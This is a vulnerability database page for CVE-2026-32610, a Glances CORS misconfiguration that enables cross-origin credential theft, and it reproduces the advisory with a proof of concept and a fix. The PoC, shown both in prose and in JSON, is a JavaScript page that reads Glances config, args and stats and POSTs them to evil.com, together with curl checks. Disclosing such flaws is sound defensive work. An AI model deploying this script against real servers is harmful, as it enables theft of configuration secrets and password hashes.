Vulnerability-Lookup

GHSA-9JFM-9RC6-2HFQ

Vulnerability from github – Published: 2026-03-16 16:32 – Updated: 2026-03-18 21:48

Summary

Glances's Default CORS Configuration Allows Cross-Origin Credential Theft

Details

Summary

The Glances REST API web server ships with a default CORS configuration that sets allow_origins=["*"] combined with allow_credentials=True. When both of these options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal * wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.

Details

The CORS configuration is set up in glances/outputs/glances_restful_api.py lines 290-299:

# glances/outputs/glances_restful_api.py:290-299
# FastAPI Enable CORS
# https://fastapi.tiangolo.com/tutorial/cors/
self._app.add_middleware(
    CORSMiddleware,
    # Related to https://github.com/nicolargo/glances/issues/2812
    allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)

The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are: - cors_origins = ["*"] (all origins) - cors_credentials = True (allow credentials)

Per the CORS specification, browsers should not send credentials when Access-Control-Allow-Origin: *. However, Starlette's CORSMiddleware implements a workaround: when allow_origins=["*"] and allow_credentials=True, the middleware reflects the requesting origin in the response header instead of using *. This means:

Attacker hosts https://evil.com/steal.html
Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page
JavaScript on evil.com makes fetch("http://glances-server:61208/api/4/config", {credentials: "include"})
The browser sends the stored Basic Auth credentials
Starlette responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true
The browser allows JavaScript to read the response
Attacker exfiltrates the configuration including sensitive data

When Glances is running without --password (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.

PoC

Step 1: Attacker hosts a malicious page.

<!-- steal-glances.html hosted on attacker's server -->
<script>
async function steal() {
  const target = "http://glances-server:61208";

  // Steal system stats (processes, CPU, memory, network, disk)
  const all = await fetch(target + "/api/4/all", {credentials: "include"});
  const allData = await all.json();

  // Steal configuration (may contain database passwords, API keys)
  const config = await fetch(target + "/api/4/config", {credentials: "include"});
  const configData = await config.json();

  // Steal command line args (contains password hash, SNMP creds)
  const args = await fetch(target + "/api/4/args", {credentials: "include"});
  const argsData = await args.json();

  // Exfiltrate to attacker
  fetch("https://evil.com/collect", {
    method: "POST",
    body: JSON.stringify({all: allData, config: configData, args: argsData})
  });
}
steal();
</script>

Step 2: Verify CORS headers (without auth, default Glances).

# Start Glances web server (default, no password)
glances -w

# From a different origin, verify the CORS headers
curl -s -D- -o /dev/null \
  -H "Origin: https://evil.com" \
  http://localhost:61208/api/4/all

# Expected response headers include:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

Step 3: Verify data theft (without auth).

curl -s http://localhost:61208/api/4/all | python -m json.tool | head -20
curl -s http://localhost:61208/api/4/config | python -m json.tool
curl -s http://localhost:61208/api/4/args | python -m json.tool

Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.

# Start Glances with password
glances -w --password

# Preflight request with credentials
curl -s -D- -o /dev/null \
  -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization" \
  http://localhost:61208/api/4/all

# Expected: Access-Control-Allow-Origin: https://evil.com
# Expected: Access-Control-Allow-Credentials: true

Impact

Without --password (default): Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.
With --password: If the user has previously authenticated via the browser's Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via /api/4/args).
Network reconnaissance: An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.
Chained with POST endpoints: The CORS policy also allows POST methods, enabling an attacker to clear event logs (/api/4/events/clear/all) or modify process monitoring (/api/4/processes/extended/{pid}).

Recommended Fix

Change the default CORS credentials setting to False, and when credentials are enabled, require explicit origin configuration instead of wildcard:

# glances/outputs/glances_restful_api.py

# Option 1: Change default to not allow credentials with wildcard origins
cors_origins = config.get_list_value('outputs', 'cors_origins', default=["*"])
cors_credentials = config.get_bool_value('outputs', 'cors_credentials', default=False)  # Changed from True

# Option 2: Reject the insecure combination at startup
if cors_origins == ["*"] and cors_credentials:
    logger.warning(
        "CORS: allow_origins='*' with allow_credentials=True is insecure. "
        "Setting allow_credentials to False. Configure specific origins to enable credentials."
    )
    cors_credentials = False

self._app.add_middleware(
    CORSMiddleware,
    allow_origins=cors_origins,
    allow_credentials=cors_credentials,
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["GET"]),  # Also restrict methods
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:32:22Z",
    "nvd_published_at": "2026-03-18T17:16:06Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Glances REST API web server ships with a default CORS configuration that sets `allow_origins=[\"*\"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette\u0027s `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.\n\n## Details\n\nThe CORS configuration is set up in `glances/outputs/glances_restful_api.py` lines 290-299:\n\n```python\n# glances/outputs/glances_restful_api.py:290-299\n# FastAPI Enable CORS\n# https://fastapi.tiangolo.com/tutorial/cors/\nself._app.add_middleware(\n    CORSMiddleware,\n    # Related to https://github.com/nicolargo/glances/issues/2812\n    allow_origins=config.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\"*\"]),\n    allow_credentials=config.get_bool_value(\u0027outputs\u0027, \u0027cors_credentials\u0027, default=True),\n    allow_methods=config.get_list_value(\u0027outputs\u0027, \u0027cors_methods\u0027, default=[\"*\"]),\n    allow_headers=config.get_list_value(\u0027outputs\u0027, \u0027cors_headers\u0027, default=[\"*\"]),\n)\n```\n\nThe defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are:\n- `cors_origins = [\"*\"]` (all origins)\n- `cors_credentials = True` (allow credentials)\n\nPer the CORS specification, browsers should not send credentials when `Access-Control-Allow-Origin: *`. However, Starlette\u0027s `CORSMiddleware` implements a workaround: when `allow_origins=[\"*\"]` and `allow_credentials=True`, the middleware reflects the requesting origin in the response header instead of using `*`. This means:\n\n1. Attacker hosts `https://evil.com/steal.html`\n2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page\n3. JavaScript on `evil.com` makes `fetch(\"http://glances-server:61208/api/4/config\", {credentials: \"include\"})`\n4. The browser sends the stored Basic Auth credentials\n5. Starlette responds with `Access-Control-Allow-Origin: https://evil.com` and `Access-Control-Allow-Credentials: true`\n6. The browser allows JavaScript to read the response\n7. Attacker exfiltrates the configuration including sensitive data\n\nWhen Glances is running **without** `--password` (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.\n\n## PoC\n\n**Step 1: Attacker hosts a malicious page.**\n\n```html\n\u003c!-- steal-glances.html hosted on attacker\u0027s server --\u003e\n\u003cscript\u003e\nasync function steal() {\n  const target = \"http://glances-server:61208\";\n  \n  // Steal system stats (processes, CPU, memory, network, disk)\n  const all = await fetch(target + \"/api/4/all\", {credentials: \"include\"});\n  const allData = await all.json();\n  \n  // Steal configuration (may contain database passwords, API keys)\n  const config = await fetch(target + \"/api/4/config\", {credentials: \"include\"});\n  const configData = await config.json();\n  \n  // Steal command line args (contains password hash, SNMP creds)\n  const args = await fetch(target + \"/api/4/args\", {credentials: \"include\"});\n  const argsData = await args.json();\n  \n  // Exfiltrate to attacker\n  fetch(\"https://evil.com/collect\", {\n    method: \"POST\",\n    body: JSON.stringify({all: allData, config: configData, args: argsData})\n  });\n}\nsteal();\n\u003c/script\u003e\n```\n\n**Step 2: Verify CORS headers (without auth, default Glances).**\n\n```bash\n# Start Glances web server (default, no password)\nglances -w\n\n# From a different origin, verify the CORS headers\ncurl -s -D- -o /dev/null \\\n  -H \"Origin: https://evil.com\" \\\n  http://localhost:61208/api/4/all\n\n# Expected response headers include:\n# Access-Control-Allow-Origin: https://evil.com\n# Access-Control-Allow-Credentials: true\n```\n\n**Step 3: Verify data theft (without auth).**\n\n```bash\ncurl -s http://localhost:61208/api/4/all | python -m json.tool | head -20\ncurl -s http://localhost:61208/api/4/config | python -m json.tool\ncurl -s http://localhost:61208/api/4/args | python -m json.tool\n```\n\n**Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.**\n\n```bash\n# Start Glances with password\nglances -w --password\n\n# Preflight request with credentials\ncurl -s -D- -o /dev/null \\\n  -X OPTIONS \\\n  -H \"Origin: https://evil.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  -H \"Access-Control-Request-Headers: Authorization\" \\\n  http://localhost:61208/api/4/all\n\n# Expected: Access-Control-Allow-Origin: https://evil.com\n# Expected: Access-Control-Allow-Credentials: true\n```\n\n## Impact\n\n- **Without `--password` (default):** Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.\n\n- **With `--password`:** If the user has previously authenticated via the browser\u0027s Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via `/api/4/args`).\n\n- **Network reconnaissance:** An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.\n\n- **Chained with POST endpoints:** The CORS policy also allows `POST` methods, enabling an attacker to clear event logs (`/api/4/events/clear/all`) or modify process monitoring (`/api/4/processes/extended/{pid}`).\n\n## Recommended Fix\n\nChange the default CORS credentials setting to `False`, and when credentials are enabled, require explicit origin configuration instead of wildcard:\n\n```python\n# glances/outputs/glances_restful_api.py\n\n# Option 1: Change default to not allow credentials with wildcard origins\ncors_origins = config.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\"*\"])\ncors_credentials = config.get_bool_value(\u0027outputs\u0027, \u0027cors_credentials\u0027, default=False)  # Changed from True\n\n# Option 2: Reject the insecure combination at startup\nif cors_origins == [\"*\"] and cors_credentials:\n    logger.warning(\n        \"CORS: allow_origins=\u0027*\u0027 with allow_credentials=True is insecure. \"\n        \"Setting allow_credentials to False. Configure specific origins to enable credentials.\"\n    )\n    cors_credentials = False\n\nself._app.add_middleware(\n    CORSMiddleware,\n    allow_origins=cors_origins,\n    allow_credentials=cors_credentials,\n    allow_methods=config.get_list_value(\u0027outputs\u0027, \u0027cors_methods\u0027, default=[\"GET\"]),  # Also restrict methods\n    allow_headers=config.get_list_value(\u0027outputs\u0027, \u0027cors_headers\u0027, default=[\"*\"]),\n)\n```",
  "id": "GHSA-9jfm-9rc6-2hfq",
  "modified": "2026-03-18T21:48:24Z",
  "published": "2026-03-16T16:32:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-9jfm-9rc6-2hfq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32610"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/4465169b71d93991f1e49740fe02428291099832"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances\u0027s Default CORS Configuration Allows Cross-Origin Credential Theft"
}

CVE-2026-32610 (GCVE-0-2026-32610)

Vulnerability from cvelistv5 – Published: 2026-03-18 16:31 – Updated: 2026-03-18 16:59

Title

Glances's Default CORS Configuration Allows Cross-Origin Credential Theft

Summary

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, the Glances REST API web server ships with a default CORS configuration that sets `allow_origins=["*"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette's `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance. Version 4.5.2 fixes the issue.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

CWE

CWE-942 - Permissive Cross-domain Policy with Untrusted Domains

Assigner

GitHub_M

References

URL

Tags

	https://github.com/nicolargo/glances/security/adv…	x_refsource_CONFIRM
	https://github.com/nicolargo/glances/commit/44651…	x_refsource_MISC
	https://github.com/nicolargo/glances/releases/tag…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	nicolargo	glances	Affected: < 4.5.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32610",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-18T16:59:20.865855Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-18T16:59:40.327Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "glances",
          "vendor": "nicolargo",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.5.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, the Glances REST API web server ships with a default CORS configuration that sets `allow_origins=[\"*\"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette\u0027s `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance. Version 4.5.2 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-942",
              "description": "CWE-942: Permissive Cross-domain Policy with Untrusted Domains",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-18T16:31:12.154Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nicolargo/glances/security/advisories/GHSA-9jfm-9rc6-2hfq",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-9jfm-9rc6-2hfq"
        },
        {
          "name": "https://github.com/nicolargo/glances/commit/4465169b71d93991f1e49740fe02428291099832",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nicolargo/glances/commit/4465169b71d93991f1e49740fe02428291099832"
        },
        {
          "name": "https://github.com/nicolargo/glances/releases/tag/v4.5.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
        }
      ],
      "source": {
        "advisory": "GHSA-9jfm-9rc6-2hfq",
        "discovery": "UNKNOWN"
      },
      "title": "Glances\u0027s Default CORS Configuration Allows Cross-Origin Credential Theft"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32610",
    "datePublished": "2026-03-18T16:31:12.154Z",
    "dateReserved": "2026-03-12T14:54:24.270Z",
    "dateUpdated": "2026-03-18T16:59:40.327Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-9JFM-9RC6-2HFQ

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-32610 (GCVE-0-2026-32610)

Tags

Sightings

Nomenclature